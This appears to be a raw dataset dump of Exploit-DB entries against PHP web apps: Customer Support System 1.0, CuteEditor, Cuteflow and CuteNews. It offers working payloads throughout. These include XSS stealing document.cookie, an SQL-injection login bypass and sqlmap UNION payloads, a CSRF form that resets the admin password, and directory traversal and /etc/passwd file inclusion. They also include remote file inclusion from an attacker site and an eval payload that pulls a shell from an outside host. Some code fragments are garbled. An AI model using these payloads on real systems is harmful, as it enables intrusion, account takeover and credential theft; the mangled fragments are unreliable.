deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49275
Description: Customer Support System 1.0 - _First Name_ & _Last Name_ Stored XSS
Type: webapps
Platform: php
Date: 2020-12-17
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Customer Support System 1.0 - "First Name" & "Last Name" Stored XSS
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-11
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Tested on: Parrot OS

Step 1. Login to the application with any valid credentials

Step 2. Click on the username in header and select "Manage Account".

Step 3. On "Manage Account" page, insert "<script>alert("r0b0tG4nG")</script>" in both the "First Name" & "Last Name" fields.

Step 4. Complete the other required details and click on save to update user information.

Step 5. This should trigger the XSS payloads. Whenever the user logs in with same valid credentials, the XSS payloads will be triggered
Exploit-DB #49276
Description: Customer Support System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-17
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Customer Support System 1.0 - 'id' SQL Injection
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-11
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Patched Version: Unpatched
# Category: Web Application
# Tested on: Parrot OS

Step 1. Login to the application with admin credentials

Step 2. Click on Customer and select list.

Step 3. On Customer list page, click on action and select edit. Capture the request made to "http://localhost/index.php?page=edit_customer&id=2" in burpsuite

Step 4. Save request and run sqlmap on request file using command " sqlmap -r request -p id --time-sec=5 --dbs ".

Step 5. This will inject successfully and you will have an information disclosure of all databases contents.

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=edit_staff&id=1 AND 4164=4164

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=edit_staff&id=1 AND (SELECT 9430 FROM (SELECT(SLEEP(5)))HIyV)

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: page=edit_staff&id=-8018 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a716a71,0x497a58666d[PII_REDACTED]4b4d76784f[PII_REDACTED]6175666f[PII_REDACTED]4177416f454c546458536d,0x717a7a6a71),NULL,NULL,NULL,NULL,NULL-- -
---
Exploit-DB #49030
Description: Customer Support System 1.0 - 'username' Authentication Bypass
Type: webapps
Platform: php
Date: 2020-11-11
Author: Ahmed Abbas

Exploit:
# Title: Customer Support System 1.0 - 'username' Authentication Bypass
# Date: 2020-11-11
# Exploit Author: Ahmed Abbas
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4


# Description :  Authentication Bypass
# Vulnerability Details:
[+] A SQL injection vulnerability in Customer Support System 1.0  allows remote unauthenticated attackers to bypass the authentication process via username and password parameters.
 

# Malicious POST Request to https://TARGET
POST /customer_support/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 62
Origin: http://localhost
Connection: close
Referer: http://localhost/customer_support/login.php
Cookie: PHPSESSID=gbattc1r1riap25kr5k2k1ureo

username=' or 1=1 or ''='&[CREDENTIAL_REDACTED]=1
Exploit-DB #49029
Description: Customer Support System 1.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2020-11-11
Author: Ahmed Abbas

Exploit:
# Exploit Title: Customer Support System 1.0  - Cross-Site Request Forgery (Admin Account Takeover)
# Date: 2020-11-11
# Exploit Author: Ahmed Abbas
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4


# Description :  Admin Account Takeover 
# Vulnerability Details
    [+] The username and password parameters can be forged to force the password change of admin user account.

# POC - CSRF HTML
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/customer_support/ajax.php?action=save_user" method="POST">
      <input type="hidden" name="id" value="1" />
      <input type="hidden" name="table" value="users" />
      <input type="hidden" name="firstname" value="Administrator" />
      <input type="hidden" name="middlename" value="" />
      <input type="hidden" name="lastname" value="" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="password" value="newpass" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #52057
Description: Customer Support System 1.0 - Stored XSS
Type: webapps
Platform: php
Date: 2024-07-01
Author: Geraldo Alcantara

Exploit:
# Exploit Title:  Customer Support System 1.0 - (XSS) Cross-Site
Scripting Vulnerability in the "subject" at "ticket_list"
# Date: 28/11/2023
# Exploit Author: Geraldo Alcantara
# Vendor Homepage:
https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link:
https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows
# CVE : CVE-2023-49976
*Steps to reproduce:*
1- Log in to the application.
2- Visit the ticket creation/editing page.
3- Create/Edit a ticket and insert the malicious payload into the
"subject" field/parameter.
Payload: <dt/><b/><script>alert(document.domain)</script>
Exploit-DB #50994
Description: CuteEditor for PHP 6.6 - Directory Traversal
Type: webapps
Platform: php
Date: 2022-08-01
Author: Stefan Hesselman

Exploit:
# Exploit Title: CuteEditor for PHP 6.6 - Directory Traversal
# Google Dork: N/A
# Date: November 17th, 2021
# Exploit Author: Stefan Hesselman
# Vendor Homepage: http://phphtmledit.com/
# Software Link: http://phphtmledit.com/download/phphtmledit.zip
# Version: 6.6
# Tested on: Windows Server 2019
# CVE : N/A

There is a path traversal vulnerability in the browse template feature in CuteEditor for PHP via the "rename file" option. An attacker with access to CuteEditor functions can write HTML templates to any directory inside the web root.

File: /phphtmledit/cuteeditor_files/Dialogs/Include_Security.php, Lines: 109-121

Vulnerable code:
[SNIP]
	function ServerMapPath($input_path,$absolute_path,$virtual_path)
	{
	  if($absolute_path!="")
	  {
		return $absolute_path.str_ireplace($virtual_path,"",$input_path);
	  }
	  else
	  {
		if(strtoupper(substr(PHP_OS, 0, 3) === 'WIN'))
		{    
if(empty($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['SCRIPT_FILENAME'])) { 
	$_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0 - strlen($_SERVER['PHP_SELF'])));
} 
if(empty($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['PATH_TRANSLATED'])) { 
  $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']), 0, 0 - strlen($_SERVER['PHP_SELF'])));
}
				return $_SERVER["DOCUMENT_ROOT"].$input_path;
		}
		else
		{
			return ucfirst($_SERVER["DOCUMENT_ROOT"]).$input_path; 
		}
	  }
	}
[SNIP]

ServerMapPath() takes 3 arguments: $input_path, $absolute_path, and $virtual_path and is used, among others, in the browse_template.php file.

File:/phphtmledit/cuteeditor_files/Dialogs/browse_Template.php, Lines: 47-56

Vulnerable function (renamefile, line 57):
[SNIP]
switch ($action)
{
[SNIP]
	case "renamefile":
		rename(ServerMapPath($_GET["filename"],$AbsoluteTemplateGalleryPath,$TemplateGalleryPath),ServerMapPath($_GET["newname"],$AbsoluteTemplateGalleryPath,$TemplateGalleryPath));
		print "<script language=\"javascript\">parent.row_click('".$_GET["newname"]."');</script>";
		break;
[SNIP]

$input_path is $_GET["filename"] and is under control of the attacker. If an attacker uploads and renames the HTML template to '..\..\..\poc.html', it becomes:

C:\Inetpub\wwwroot\..\..\..\poc.html

Final result: writes poc.html to the webroot.

STEPS:

1. Create a poc.html file (XSS PoC will do).

<HTML>
<title>Path Traversal PoC</title>
<BODY>
<h1>PoC</h1>
<script>alert('directory traversal');</script>
</BODY>
</HTML>

2. Upload poc.html via the "Insert Templates" page using the "Upload files" option.
3. Select poc.html and select "Rename File".
4. Click on the pencil icon to the right of the poc.html file.
5. Rename file to "..\..\..\poc.html".
6. Press OK. poc.html is written three directories up.

This may require more or less dot dot slash (..\ or ../) depending on the size of your directory tree. Adjust slashes as needed.
Exploit-DB #9485
Description: Cuteflow 2.10.3 - 'edituser.php' Security Bypass
Type: webapps
Platform: php
Date: 2009-08-24
Author: Hever Costa Rocha

Exploit:
It's possible edit the users (including the admin account), 
bypassing the authentication through the address:
http://localhost/cuteflow/pages/edituser.php?userid=1&language=pt&sortby=st rLastName&sortdir=ASC&start=1

The vulnerability is caused due to the application not properly 
restricting access to the pages/edituser.php script. This can be 
exploited to modify a user's username and password without having 
proper credentials.

Hever Costa Rocha

# milw0rm.com [2009-08-24]
Exploit-DB #5296
Description: Cuteflow Bin 1.5.0 - 'login.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-03-22
Author: KnocKout

Exploit:
###########################################
Cuteflow Bin v1.5.0 Local File Inclusion Vulnerability
##############################################
[+] Author : KnocKout
[+] Cyber-Warrior.org / Bug Researchers Group
[~] Special Thanks : CW ALL USERS / Mr.Freeman
==============================================
Script : Cuteflow Bin v1.5.0
Download : http://scripts.ringsworld.com/groupware-tools/cuteflow-bin-v150/
###############################################
Exploit : http://localsite/path/login.php?language=[LocalFile]
#################################################
Siyasi tercihimiz ne olursa olsun TÃ¼rkiye'nin geleceÄŸini karartmak isteyenlere dur diyoruz.
www.kapatmayahayir.com
#################################################

# milw0rm.com [2008-03-22]
Exploit-DB #15208
Description: CuteNews - 'page' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-10-05
Author: eidelweiss

Exploit:
==========================================================
	CuteNews (page) local File Inclusion Vulnerability
==========================================================
vendor: http://cutephp.com/
Author: eidelweiss
Contact: eidelweiss [at] windowslive [dot] com

==========================================================

vuln: index.php?page=

lfi: /etc/passwd

exploit : index.php?page= [lfi]

	-=[p0c]=-
	
	http://127.0.0.1/index.php?page= [lfi]
			or
	http://127.0.0.1/path/index.php?page=/etc/passwdt

=========================| -=[ E0F ]=- |============================
Exploit-DB #22285
Description: CuteNews 0.88 - 'comments.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-02-25
Author: Over_G

Exploit:
source: https://www.securityfocus.com/bid/6935/info
  
CuteNews is prone to an issue that may allow remote attackers to include files located on remote servers.
  
Under some circumstances, it is possible for remote attackers to influence the include path for several include files to point to an external file on a remote server.
  
If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server.

http://www.example.com/cutenews/comments.php?cutepath=http://<attacker_site>/config.php

----------------------------------config.php----------------------------------------
  
/", $item); if ($match[1]) { if (preg_match("/\//", $match[1])) { echo $match[1]; echo "
"; } } } ?>
Exploit-DB #22284
Description: CuteNews 0.88 - 'search.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-02-25
Author: Over_G

Exploit:
source: https://www.securityfocus.com/bid/6935/info
 
CuteNews is prone to an issue that may allow remote attackers to include files located on remote servers.
 
Under some circumstances, it is possible for remote attackers to influence the include path for several include files to point to an external file on a remote server.
 
If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server. 

http://www.example.com/cutenews/search.php?cutepath=http://<attacker_site>/config.php

----------------------------------config.php----------------------------------------
 
/", $item); if ($match[1]) { if (preg_match("/\//", $match[1])) { echo $match[1]; echo "
"; } } } ?>
Exploit-DB #22283
Description: CuteNews 0.88 - 'shownews.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-02-25
Author: Over_G

Exploit:
source: https://www.securityfocus.com/bid/6935/info

CuteNews is prone to an issue that may allow remote attackers to include files located on remote servers.

Under some circumstances, it is possible for remote attackers to influence the include path for several include files to point to an external file on a remote server.

If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server. 

http://www.example.com/cutenews/shownews.php?cutepath=http://<attacker_site>/config.php

----------------------------------config.php----------------------------------------

/", $item); if ($match[1]) { if (preg_match("/\//", $match[1])) { echo $match[1]; echo "
"; } } } ?>
Exploit-DB #24238
Description: CuteNews 0.88/1.3 - 'example1.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-06-28
Author: DarkBicho

Exploit:
source: https://www.securityfocus.com/bid/10620/info

It is reported that CuteNews is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.

The problems present themselves when malicious HTML and script code is sent to the application through the 'id' parameter of the multiple scripts.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. 

http://www.example.com/example1.php?subaction=showfull&id=<script>alert(document.cookie);</script>
Exploit-DB #24239
Description: CuteNews 0.88/1.3 - 'example2.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-06-28
Author: DarkBicho

Exploit:
source: https://www.securityfocus.com/bid/10620/info
 
It is reported that CuteNews is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
The problems present themselves when malicious HTML and script code is sent to the application through the 'id' parameter of the multiple scripts.
 
These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. 

http://www.example.com/example2.php?subaction=showfull&id=<script>alert(document.cookie);</script>
Exploit-DB #24240
Description: CuteNews 0.88/1.3 - 'show_archives.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-06-28
Author: DarkBicho

Exploit:
source: https://www.securityfocus.com/bid/10620/info
  
It is reported that CuteNews is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
  
The problems present themselves when malicious HTML and script code is sent to the application through the 'id' parameter of the multiple scripts.
  
These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. 

http://www.example.com/show_archives.php?subaction=showcomments&id=<script>alert(document.cookie);</script>&archive=&start_from=&ucat=&&archive=&start_from=&ucat=&
Exploit-DB #24566
Description: CuteNews 0.88/1.3.x - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-02
Author: Exoduks

Exploit:
source: https://www.securityfocus.com/bid/11097/info

It is reported that CuteNews is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability is reported to exist in versions 1.3.6 and prior of CuteNews.

http://www.example.com/cutenews/index.php?mod=[XSS CODE]
http://www.example.com/cutenews/index.php?mod=<script>alert(document.cookie)</script>
Exploit-DB #4851
Description: CuteNews 1.1.1 - 'html.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-01-06
Author: Eugene Minaev

Exploit:
----[ CuteNews Remote Code Execution ... ITDefence.ru Antichat.ru ]

							Strawberry (CuteNews) Remote Code Execution
							Eugene Minaev underwater@itdefence.ru
				___________________________________________________________________
			____/  __ __ _______________________ _______  _______________    \  \   \
			/ .\  /  /_// //              /        \       \/      __       \   /__/   /
			/ /     /_//              /\        /       /      /         /     /___/
			\/        /              / /       /       /\     /         /         /
			/        /               \/       /       / /    /         /__       //\
			\       /    ____________/       /        \/    __________// /__    // /   
			/\\      \_______/        \________________/____/  2007    /_//_/   // //\
			\ \\                                                               // // /
			.\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
			. \_\\________[________________________________________]_________//_//_/ . .
			
		Preg_replace with 'e' modifier allows code execution
		<?php

		$source = htmlspecialchars($text);

		$source = preg_replace(
		'/&lt;!--(.*?)--&gt;/es',
		'"<span style=\"color: ".$options["color"]["comment"].";\">&lt;!--".
		str_replace("&lt;","&lt;<!-- -->",
		str_replace("=","=<!-- -->",
		"$1")).
		"--&gt;</span>"',
		$source);  

		?>
		
		strawberry/plugins/wacko/highlight/html.php?text=%3C!--{${eval($s)}}--%3E&s=include('blackybr.nm.ru/shell');
		

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-06]
Exploit-DB #24290
Description: CuteNews 1.3 - Comment HTML Injection
Type: webapps
Platform: php
Date: 2004-07-19
Author: DarkBicho

Exploit:
source: https://www.securityfocus.com/bid/10750/info

CutePHP is reported prone to an HTML injection vulnerability.

The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, user-supplied input to comment posts are not sufficiently sanitized of malicious HTML code.

An attacker can exploit this vulnerability by adding HTML code within URI arguments. The hostile code may be rendered in the user's browser when the user views the entry.

Exploitation could permit an attacker to steal cookie-based authentication credentials or launch other attacks.

http://www.example.com/show_news.php?subaction=addcomment&name=UserName&comments=http://www.example.com&id=[PII_REDACTED]||[PII_REDACTED]|UserName|none|127.0.0.1|<script>alert("example");</script>||
Exploit-DB #23406
Description: CuteNews 1.3 - Debug Query Information Disclosure
Type: webapps
Platform: php
Date: 2003-12-01
Author: scrap

Exploit:
source: https://www.securityfocus.com/bid/9130/info

An information disclosure weakness has been reported in CuteNews 1.3, that may expose sensitive server configuration data. The problem occurs due to CuteNews accepting a debug query that will result in the exposure of information returned from a call to the phpinfo() function.

A malicious person could potentially use information harvested through the exploitation this type of issue to launch future attacks against a target system.

http://www.example.com/cutenews/index.php?debug
Exploit-DB #24372
Description: CuteNews 1.3.1 - 'show_archives.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-07-16
Author: Debasis Mohanty

Exploit:
source: https://www.securityfocus.com/bid/10948/info

It is reported that CuteNews is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability is reported to exist in version 1.3.1 of CuteNews. Other versions may also be affected.

http://www.example.com/show_archives.php?archive=[code]&subaction=list-archive&
Exploit-DB #29217
Description: CuteNews 1.3.6 - 'result' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-02
Author: Detefix

Exploit:
source: https://www.securityfocus.com/bid/21403/info

CuteNews is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.3.6; other versions may also be vulnerable.

http://www.example.com/[path-to-cutenews]/?result=[XSS]